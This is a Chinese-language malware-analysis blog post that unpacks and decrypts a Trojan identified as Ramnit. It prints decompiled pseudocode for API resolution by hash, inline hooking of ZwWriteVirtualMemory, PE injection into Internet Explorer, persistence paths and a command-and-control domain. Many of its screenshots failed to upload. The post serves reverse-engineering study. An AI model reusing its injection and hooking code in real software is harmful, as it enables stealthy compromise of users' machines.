layout: post
title: 記一次木馬分析
categories: Reverse_Engineering
description: 記一次木馬分析
keywords:
url: https://lichao890427.github.io/ https://github.com/lichao890427/
記一次木馬分析
準(zhǔn)備工作
??從txt中把16進(jìn)制數(shù)據(jù)拷貝到WinHex,生成55k的exe文件,看pe節(jié)名發(fā)現(xiàn)upx殼,直接用upx脫殼機(jī),得到82k的exe文件,目前為止能看到的pe節(jié):
.code 00401000 0040A000 R . X . L para 0001 public CODE 32 0000 0000 0002 FFFFFFFF FFFFFFFF
.data 0040A000 00414000 R . . . L para 0002 public DATA 32 0000 0000 0002 FFFFFFFF FFFFFFFF
.rdata 00414000 00416000 R . . . L para 0003 public DATA 32 0000 0000 0002 FFFFFFFF FFFFFFFF
解密第一層
??IDA分析的所有函數(shù)都沒有意義的空函數(shù),主要混淆形式有:
- 任意用無效參數(shù)調(diào)用api(因此導(dǎo)入表也基本是無用的),甚至存在檢測errorcode是否對應(yīng)目標(biāo)錯(cuò)誤值邏輯
[圖片上傳失敗...(image-1246a4-1516627504447)] - 任意構(gòu)造函數(shù)調(diào)用
[圖片上傳失敗...(image-735930-1516627504447)] - 入口函數(shù)start無返回(這里有玄機(jī))
[圖片上傳失敗...(image-972fbc-1516627504447)] - 最后一個(gè)有效函數(shù)是sub_40724D這里,后面為無效數(shù)據(jù)(其實(shí)為真正代碼經(jīng)過加密了)
[圖片上傳失敗...(image-cd1f17-1516627504447)]
??整個(gè)代碼只有j_VirtualAlloc的參數(shù)調(diào)用有意義的,返回分配的0xf000字節(jié)內(nèi)存地址(假定0x230000),每個(gè)函數(shù)調(diào)用最后會(huì)有jmp,要從jmp跟下去
[圖片上傳失敗...(image-29de4a-1516627504447)]
??上圖中0x2CA9是相對于VirtualAlloc分配地址的偏移,其實(shí)是第一次解密結(jié)果的入口處(假定0x232CA9),下圖是對這段內(nèi)存(假定0x230000~0x23f000)的解密,而使用的源數(shù)據(jù)恰好是無法正常反匯編的主函數(shù)那里(圖3 的0x401F46,在執(zhí)行call sub_4083E2的時(shí)候入棧),要跟蹤新eip走向可以直接下內(nèi)存斷點(diǎn)
[圖片上傳失敗...(image-3ef825-1516627504448)]
??這里對(0x230000,0x23f000)的內(nèi)存做解密操作,因此在ida中增加一個(gè)Segment(0x230000~0x23f000)來模擬,使用腳本解密:
dstaddr = 0x230000
srcaddr = 0x401F44
for off in range(0, 0xf000):
b = Byte(srcaddr + off)
b = b ^ 0xA2
b = (((b & 0x3) << 6) | ((b >> 2) & 0xff)) & 0xff
b = (b + 0x100 - 0x6C) & 0xff
PatchByte(dstaddr + off, b)
[圖片上傳失敗...(image-f8e96c-1516627504448)]
解密第二層
??由前一步解密出的新節(jié)可以分析出以下函數(shù):
GetFunction +018C
fiximport +04C2
decode +05E8
decode_1 +0743
getNtdllBase +0783
sub_2309AF +09AF
UnmapSection +0BD6
zeromem +0C15
fixreloc +1758
sub_2318FB +18FB
decode_2 +1B35
Alloc +1D68
resetself +2275
memcpy +22B0
decode_0 +2454
sub_2326F9 +26F9
sub_2326FB +26FB
new_main +2CA9
setmemoryexecute_ +2E13
loadimportdll +2F2B
setmemoryexecute +3077
GetFunctionFromEat +31D2
nullsub_5 +329D
Free +32A0
nullsub_4 +32E2
來到入口點(diǎn):
ULONG __cdecl new_main(int a1, int a2, int a3, int segbase)//第四個(gè)參數(shù)為之前分配的內(nèi)存基址0x230000
{
v30 = -1;
v29 = 1;
v17 = getNtdllBase(0xE0605F88);//分析①
NtQuerySystemInformation = (void (__stdcall *)(int, int, int, signed int, _SYSTEM_PERFORMANCE_INFORMATION *, signed int))GetFunction(v17, 0xFB145B9B);//分析②
NtQuerySystemInformation(v20, v21, v22, 2, &perfinfo, 0x138);// SYSTEM_PERFORMANCE_INFORMATION未發(fā)現(xiàn)實(shí)際作用
result = perfinfo.CopyOnWriteCount;
if ( (perfinfo.CopyOnWriteCount <= 0x84D0 || perfinfo.CopyOnWriteCount >= 0x8534)
&& (perfinfo.CopyOnWriteCount <= 0x8660 || perfinfo.CopyOnWriteCount >= 0x86C4) )//正常情況下可以直接進(jìn)
{
v35 = segbase;
modulebase = retaddr; //圖6的0x40746D,為之前執(zhí)行的最后一個(gè)call
do
modulebase = (_IMAGE_DOS_HEADER *)(((unsigned int)&modulebase[-1].e_lfanew + 3) >> 15 << 15);
while ( modulebase->e_magic != 'ZM' );//找到主模塊基址0x400000
currentbase = modulebase;
v31 = *(WORD *)((char *)&modulebase->e_cs + modulebase->e_lfanew);
v44 = 12;
v43 = 0x75115E4F;
v42 = 0xFFD1A121;
v41 = 0x17E;
size = 0x6200;
a3a = 0x937D;
v40 = 0xC3A56632;
imagesize = *(_DWORD *)((char *)currentbase + *((_DWORD *)currentbase + 15) + 80);//獲取exe模塊大小
setmemoryexecute_((int)modulebase, imagesize, 64, (int)&v27);//內(nèi)存頁提權(quán):讀寫執(zhí)行
v33 = (char *)currentbase + *(_DWORD *)((char *)currentbase + *((_DWORD *)currentbase + 15) + 40);//獲取入口點(diǎn)
membase = Alloc(0, size);//分配一段內(nèi)存用作解密
for ( dataseg = (int)currentbase; *(_DWORD *)dataseg != 0xDF62A7E; ++dataseg );//獲取data節(jié)基址,分析③
v8 = dataseg + 4;
decode(v8, a3a, v40); // 對data段解密
if ( v44 & 8 )
a3a = decode_0((char *)v8, a3a, v42, v41); //第一次解密
v10 = decode_2((char *)v8, a3a, v43); //第二次解密
if ( v44 & 4 )
decode_1(v11, (_BYTE *)membase, v10); //第三次解密
else
memcpy((void *)membase, v10, a3a);
if ( v44 & 0x10 ) //不走這里
{
UnmapSection((int)currentbase);
Free((char)currentbase, imagesize);
v8 = *(_DWORD *)(membase + 60) + membase + 24;
imagesize = *(_DWORD *)(*(_DWORD *)(membase + 60) + membase + 0x50);
UnmapSection(*(_DWORD *)(v8 + 28));
Free(*(_DWORD *)(v8 + 28), *(_DWORD *)(v8 + 56));
currentbase = (void *)Alloc(*(_DWORD *)(v8 + 28), *(_DWORD *)(v8 + 56));
*(_DWORD *)(__readfsdword(48) + 8) = currentbase;// 修改Imagebase
}
zeromem(v8, currentbase, imagesize);
v9 = *(_DWORD *)(membase + 60) + membase;
memcpy(currentbase, (const void *)membase, *(_DWORD *)(v9 + 0x54));//還原回0x400000
if ( v31 & 0x2000 )
*(_WORD *)((char *)currentbase + *((_DWORD *)currentbase + 15) + 22) = v26;
v4 = *(_WORD *)(v9 + 6);
v7 = v9 + 248;
while ( v4 )
{
v15 = *(_DWORD *)(v7 + 16);
memcpy((char *)currentbase + *(_DWORD *)(v7 + 12), (const void *)(membase + *(_DWORD *)(v7 + 20)), v24);
v7 += 40;
v4 = v6 - 1;
}
Free(membase, size);
v32 = (char *)currentbase + *(_DWORD *)((char *)currentbase + *((_DWORD *)currentbase + 15) + 40);
v16 = (char *)currentbase;
resetself(//修改入口點(diǎn)
(int)currentbase,//0x400000 Imagebase
(int)v33,//0x42E000 old entry
(int)v32,//0x411390 new entry
*(_DWORD *)((char *)currentbase + *((_DWORD *)currentbase + 15) + 80));//sizeofImage
fiximport((int)v16);//修復(fù)輸入表
v14 = *(_DWORD *)&v16[*((_DWORD *)v16 + 15) + 52];
fixreloc(v25, v12);//修復(fù)重定位表
v13 = *(_WORD *)((char *)currentbase + *((_DWORD *)currentbase + 15) + 6);
JUMPOUT(&loc_230C9A);//設(shè)置各個(gè)新節(jié)的屬性
}
return result;
}
- 首先遇到的是getNtdllBase,該函數(shù)通過算法將模塊名事先計(jì)算出一個(gè)4字節(jié)值獲取peb結(jié)構(gòu),通過遍歷dll鏈表得到指定模塊基址:
int __cdecl getNtdllBase(int dllsig)// dllsig這里用作匹配模塊名,ntdll對應(yīng)0x FB145B9Bh
{
int result; // eax@0
int v2; // eax@2
WCHAR *v3; // ecx@2
int v4; // eax@7
_LDR_DATA_TABLE_ENTRY *v5; // edx@1
PLIST_ENTRY v6; // ebx@1
v6 = (PLIST_ENTRY)(*(_DWORD *)(__readfsdword(48) + 12) + 12);// _PEB_LDR_DATA->InLoadOrderModuleList
v5 = (_LDR_DATA_TABLE_ENTRY *)v6->Flink->Flink;
while ( (PLIST_ENTRY)v5 != v6 )
{
v3 = v5->BaseDllName.Buffer;
v2 = 0;
while ( *v3 )
{
v2 = __ROL4__(v2, 7);
LOBYTE(v2) = (*(_BYTE *)v3 | 0x20) ^ v2;
++v3;
}
v4 = v2 ^ 0x4B50FA82;
if ( v4 == funcnamesig )
return v5->DllBase;
v5 = (_LDR_DATA_TABLE_ENTRY *)v5->InLoadOrderLinks.Flink;
result = 0;
}
return result;
}
- 然后遇到getFunction,該函數(shù)通過算法將函數(shù)名事先計(jì)算出一個(gè)4字節(jié)值,用作匹配DLL模塊導(dǎo)出表從而獲取函數(shù)基址
FARPROC __cdecl getFunction(int base, int funcsig)//base為模塊基址,目前為ntdll;funcsig用作匹配函數(shù)名,例如NtAllocateVirtualMemory對應(yīng)0x42025366
int __cdecl GetFunction(int ntdllbase, int sig)
{
int v2; // ebp@0
return GetFunctionFromEat(v2);//直接將ebp傳給該函數(shù),因此在子函數(shù)中ebp+8為第一個(gè)參數(shù),以此類推
}
int __usercall GetFunctionFromEat@<eax>(int a1@<ebp>)
{
DWORD v1; // esi@1
_IMAGE_EXPORT_DIRECTORY *exportbase; // eax@1
int sig; // ebx@1
exportbase = (_IMAGE_EXPORT_DIRECTORY *)(*(_DWORD *)(a1 + 8)
+ *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(a1 + 8) + 0x3C)
+ *(_DWORD *)(a1 + 8)
+ 0x78));
v1 = exportbase->AddressOfNames;
*(_DWORD *)(a1 - 4) = exportbase->NumberOfNames;
sig = *(_DWORD *)(a1 + 12);
JUMPOUT(&loc_230925);//這里本質(zhì)是一個(gè)循環(huán)做匹配
}
- 這個(gè)0xDF62A7E標(biāo)志正是data段的起始,od在新入口0x411390轉(zhuǎn)儲(chǔ)exe
[圖片上傳失敗...(image-e13e0-1516627504448)]
[圖片上傳失敗...(image-c61f22-1516627504448)]
解密第三層
??以上做的所有工作都是為了獲取入口點(diǎn),dump出來的文件帶mediaplayer圖標(biāo),185k,入口代碼:
void __usercall __noreturn start(int a1@<eax>, char *a2@<edx>, int a3@<ecx>, unsigned int a4@<ebp>)
{
//….仍然在修復(fù)導(dǎo)入表
if ( checkbrowserexist("C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", 0x400u) == 1 )
{
v4 = createmutex("KyUffThOkYwRRtgPP");
if ( v4 )
{
destroymutex(v4);
v4 = HANDLE_FLAG_INHERIT;
}
if ( v4 == HANDLE_FLAG_INHERIT )
{
v5 = GetModuleFileNameA(0, selffile, 0x104u);
makecstring((BYTE *)selffile, v5);
if ( CopyAndRunTrojan(selffile) == 1 )//傳播自身到以下路徑:
//%CommonProgramFiles%/Microsoft/DesktopLayer.exe
//%HOMEDRIVE%%HOMEPATH%/Microsoft/DesktopLayer.exe
//%APPDATA%/Microsoft/DesktopLayer.exe
//%SYSTEM%/Microsoft/DesktopLayer.exe
//%TMP%/Microsoft/DesktopLayer.exe
//%ProgramFiles%/Microsoft/DesktopLayer.exe
ExitProcess(0);
if ( GetNtdllFunction() == 1 )//實(shí)現(xiàn)獲取函數(shù)地址,以便給注入到IE的木馬使用
{
hookZwWriteVirtualMemory();//這里沒有直接inline hook入口點(diǎn),而是跳了5條指令
CreateProcess((LPSTR)"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", 1);
//通過上下邏輯可知CreateProcess觸發(fā)NtWriteVirtualMemory
unhookZwWriteVirtualMemory();
}
}
}
ExitProcess(0);
}
int __stdcall makeinlinehook(LPVOID procaddr, LPVOID hookaddr, int a4)
{
if ( VirtualProtect(procaddr, 0xAu, 0x40u, &flOldProtect) )
{
v3 = skipninst(procaddr, 5u);//實(shí)現(xiàn)了小型的匯編指令長度引擎
hookoff = v3;
dwSize = v3 + 10;
shell = VirtualAlloc(0, v3 + 10, 0x1000u, 0x40u);
if ( shell )
{
v12 = shell;
*(_DWORD *)shell = procaddr;
*((_BYTE *)shell + 4) = hookoff;
v5 = (int)shell + 5;
memcpy(procaddr, (char *)shell + 5, hookoff);
v6 = hookoff + v5;
*(_BYTE *)v6 = 0xE9u;
*(_DWORD *)(v6 + 1) = (_BYTE *)procaddr - (_BYTE *)v12 - 10;
*(_BYTE *)procaddr = 0xE9u;
*(_DWORD *)((char *)procaddr + 1) = (_BYTE *)hookaddr - (_BYTE *)procaddr - 5;
*(_DWORD *)a4 = (char *)v12 + 5;
VirtualProtect(v12, dwSize, flOldProtect, &v10);
v9 = 1;
}
VirtualProtect(procaddr, 0xAu, flOldProtect, &v10);
}
return v9;
}
??我自己做了個(gè)實(shí)驗(yàn),CreateProcess也確實(shí)觸發(fā)了NtWriteVirtualMemory,且目標(biāo)句柄確實(shí)是IE的,所以重點(diǎn)在于掛鉤函數(shù)的分析:
// write access to const memory has been detected, the output may be wrong!
__int64 __stdcall new_ZwWriteVirtualMemory(HANDLE hProcess, PVOID BaseAddress, PVOID Buffer, int NumberOfBytesToWrite, int *NumberOfBytesWritten)
{
__int64 v5; // rax@1
char *v6; // eax@3
LONGLONG v7; // kr00_8@4
__int64 v9; // [sp-20h] [bp-28h]@1
SIZE_T NumberOfBytesWrittena; // [sp+0h] [bp-8h]@5
DWORD oldpro; // [sp+4h] [bp-4h]@5
LODWORD(v5) = old_ZwWriteVirtualMemory(
hProcess, // here is IE process id
BaseAddress, //some address in IE
Buffer,
NumberOfBytesToWrite,
NumberOfBytesWritten);
v9 = v5;
if ( hProcess != (HANDLE)-1 && !ieentry )
{
v6 = GetEntryPointForProcess(hProcess);
//利用ZwQueryInformationProcess從PEB里獲取IE進(jìn)程的ImageBase,之后解析內(nèi)存PE得到入口點(diǎn)
if ( v6 )
{
dword_40DFA3 = 1;
ieentry = v6;
v7 = ModifyIe(hProcess, &injectcode, 0x9800);//將重要數(shù)據(jù)(INJECTSTR)和函數(shù)注入到目標(biāo)進(jìn)程,見①②
ie_inject_d = HIDWORD(v7);
ie_inject_f = v7;
if ( ie_inject_f )
{
VirtualProtectEx(hProcess, ieentry, 0xCu, 0x40u, &oldpro);
WriteProcessMemory(hProcess, ieentry, &jmpshell, 0xCu, &NumberOfBytesWrittena);//改寫IE入口點(diǎn)邏輯
//jmpshell硬編碼以下指令: sizeof=0x0C
// +00 0xBF mov edi, ie_inject_f
// +01 ie_inject_f
// +05 0x68 push ie_inject_d
// +06 ie_inejct_d
// +0A 0xFF call edi
// +0B 0xD7
VirtualProtectEx(hProcess, ieentry, 0xCu, oldpro, &oldpro);//
}
}
}
return v9;
}
- 將自身的木馬種植到目標(biāo)IE進(jìn)程,同時(shí)修復(fù)PE結(jié)構(gòu)
LONGLONG __stdcall ModifyIe(HANDLE hProcess, BYTE *injectdata, int injectlen)
{
v19 = 0x10000000;
optheader = (IMAGE_OPTIONAL_HEADER32 *)validate_getoptionheader((int)injectdata, injectlen);//驗(yàn)證PE結(jié)構(gòu)
if ( !optheader )
goto LABEL_18;
imagebase = optheader->ImageBase;
imagesize = optheader->SizeOfImage;
do // 嘗試在自身進(jìn)程和IE進(jìn)程中獲取0x3000大小的同地址內(nèi)存
{
v19 += 0x10000;
lpAddress = (LPVOID)(v19 + imagebase);
injectbase = VirtualAlloc((LPVOID)(v19 + imagebase), imagesize, 0x3000u, 0x40u);
if ( injectbase )
{
VirtualFree(injectbase, 0, 0x8000u);
injectbase = VirtualAllocEx(hProcess, lpAddress, imagesize, 0x3000u, 0x40u);
}
}
while ( v19 < 0x30000000 && !injectbase );
if ( injectbase
&& ConstructPe(hProcess, injectbase, injectdata, injectlen, &inject_d, 0)
//從文件內(nèi)嵌的PE重新構(gòu)造重定位表、導(dǎo)入表以及各個(gè)節(jié),內(nèi)嵌PE見③
&& WriteProcessMemory(hProcess, injectbase, (LPCVOID)inject_d.ImageBase, inject_d.ImageSize, 0)// 0xD000
&& (len1 = getshellcodelen((unsigned __int8 *)FixImportTable),
(v5 = (int (__stdcall *)(_DWORD, int, int, INJECTSTR *))AllocMemoryforShellCode(hProcess, FixImportTable, len1)) != 0)
&& (inject_d.FixImportTable = v5,
len2 = getshellcodelen((unsigned __int8 *)setsegproperty),
(v7 = (int (__stdcall *)(DWORD))AllocMemoryforShellCode(hProcess, setsegproperty, len2)) != 0)
&& (inject_d.SetSegProperty = v7,
inject_d.LdrLoadDll = (FARPROC)LdrLoadDll,
inject_d.LdrGetDllHandle = (FARPROC)LdrGetDllHandle,
inject_d.LdrGetProcedureAddress = (FARPROC)LdrGetProcedureAddress,
inject_d.RtlInitString = (FARPROC)RtlInitString,
inject_d.RtlAnsiStringToUnicodeString = (FARPROC)RtlAnsiStringToUnicodeString,
inject_d.RtlFreeUnicodeString = (FARPROC)RtlFreeUnicodeString,
inject_d.ZwProtectVirtualMemory = (FARPROC)ZwProtectVirtualMemory,
inject_d.ZwDelayExecution = (FARPROC)ZwDelayExecution,
a = GetModuleFileNameA(0, inject_d.ImagePath, 0x104u),
makecstring((BYTE *)inject_d.ImagePath, a),
len3 = getshellcodelen((unsigned __int8 *)modifyieentry),
(v9 = AllocMemoryforShellCode(hProcess, modifyieentry, len3)) != 0)
&& (v13 = (unsigned int)v9, (v10 = AllocMemoryforShellCode(hProcess, &inject_d, 0x138u)) != 0) )
{
result = __PAIR__((unsigned int)v10, v13);
}
else
{
LABEL_18:
result = 0i64;
}
return result;
}
- 寫入的數(shù)據(jù)ie_inject_d結(jié)構(gòu)
00000000 INJECTSTR struc ; (sizeof=0x138, mappedto_37) ; XREF: ModifyIe/r
00000000 ImageBase dd ? //注入木馬的基址
00000004 ImageEntry dd ? //注入木馬的入口
00000008 ImageSize dd ?
0000000C FixImportTable dd ? //用于修復(fù)導(dǎo)入表
00000010 SetSegProperty dd ? //用于修復(fù)PE節(jié)屬性
00000014 LdrLoadDll dd ? ; offset
00000018 LdrGetDllHandle dd ? ; offset
0000001C LdrGetProcedureAddress dd ? ; offset
00000020 RtlInitString dd ? ; offset
00000024 RtlAnsiStringToUnicodeString dd ? ; offset
00000028 RtlFreeUnicodeString dd ? ; offset
0000002C ZwProtectVirtualMemory dd ? ; offset
00000030 ZwDelayExecution dd ? ; offset
00000034 ImagePath db 260 dup(?) //母程序路徑
00000138 INJECTSTR ends
ie_inject_f函數(shù)仍然是修復(fù)導(dǎo)入表:
void __cdecl modifyieentry(INJECTSTR *injectdata)
{
v1 = __readeflags();
v6 = v1;
if ( injectdata && injectdata->FixImportTable(0, injectdata->ImageBase, injectdata->ImageSize, injectdata) )
{
secnum = *(_WORD *)(*(_DWORD *)(injectdata->ImageBase + 60) + injectdata->ImageBase + 6);
secheaders = (IMAGE_SECTION_HEADER *)(*(_WORD *)(*(_DWORD *)(injectdata->ImageBase + 60) + injectdata->ImageBase + 20)
+ *(_DWORD *)(injectdata->ImageBase + 60)
+ injectdata->ImageBase
+ 24);
if ( *(_WORD *)(*(_DWORD *)(injectdata->ImageBase + 60) + injectdata->ImageBase + 6) )
{
do
{
v4 = secnum;
v5 = injectdata->SetSegProperty(secheaders->Characteristics);
v10 = secheaders->VirtualAddress + injectdata->ImageBase;
v9 = secheaders->Misc.PhysicalAddress;
((void (__stdcall *)(signed int, DWORD *, DWORD *, int, char *))injectdata->ZwProtectVirtualMemory)(
-1,
&v10,
&v9,
v5,
&v11);
++secheaders;
secnum = v4 - 1;
}
while ( v4 != 1 );
}
((void (__stdcall *)(int, signed int, char *))injectdata->ImageEntry)(//調(diào)用注入的木馬入口
injectdata->ImageBase,
1,
injectdata->ImagePath);
v7 = 0;
v8 = 0x80000000;
((void (__stdcall *)(_DWORD, int *))injectdata->ZwDelayExecution)(0, &v7);
}
__writeeflags(v6);
}
- 內(nèi)嵌PE
[圖片上傳失敗...(image-3ee0f4-1516627504448)]
??上面的一切努力最后發(fā)現(xiàn)重點(diǎn)在于內(nèi)嵌PE邏輯中,直接用winhex將0x404031處0xD000大小的內(nèi)嵌PE取出,結(jié)果52k
內(nèi)嵌PE
[圖片上傳失敗...(image-d5faa3-1516627504448)]
??這次IDA已經(jīng)可以分析出來了,說明是最終形態(tài),搜索一些敏感的字符串可知是Ramnit病毒http://www.lavasoft.com/mylavasoft/malware-descriptions/blog/viruswin32ramnita,發(fā)現(xiàn)網(wǎng)上已有分析,因此沒有繼續(xù)分析,不過上述加密手段還有很多學(xué)習(xí)之處
- 感染全盤exe dll,改寫入口點(diǎn),增加新PE節(jié).rmnet用于存儲(chǔ)惡意木馬
- 感染html htm,增加如下腳本,在用戶%TEMP%文件夾中植入了一個(gè)名為“svchost.exe”的二進(jìn)制文件并執(zhí)行關(guān)聯(lián)的ActiveX控件,受感染的用戶主機(jī)會(huì)試圖連接到與Ramnit相關(guān)的一個(gè)木馬控制服務(wù)器——fget-career.com。如下兩圖所示